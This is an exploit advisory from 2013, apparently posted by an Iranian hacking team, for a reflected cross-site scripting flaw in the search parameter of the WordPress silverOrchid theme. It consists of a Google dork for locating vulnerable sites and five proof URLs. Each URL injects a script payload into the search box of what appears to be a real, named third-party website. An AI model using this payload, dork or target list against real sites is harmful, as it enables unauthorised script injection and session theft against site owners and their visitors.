#******************************************************************************** # Exploit Title : wordpress silverOrchid theme Cross site scripting # # Exploit Author : Ashiyane Digital Security Team # # Tested on: Windows 7 , Linux # # Google Dork : intext:"Powered by WordPress and theme by gazpo.com" # # Date: 2013/08/27 # -------------------------------------------------------------------- # Location : [Target]/?s=[xss] # # Proof: # # http://www.alessandropenezzi.com/wp/?s=<script>alert(1);</script> # # http://www.bazaardeals.in/?s=<script>alert(1);</script> # # http://www.novelthoughtsblog.com/?s=<script>alert(1);</script> # # http://perawatan-kulit.com/?s=<script>alert(1);</script> # # http://www.walkingandhikingireland.com/?s=<script>alert(1);</script> # ###################### discovered by : ACC3SS ######################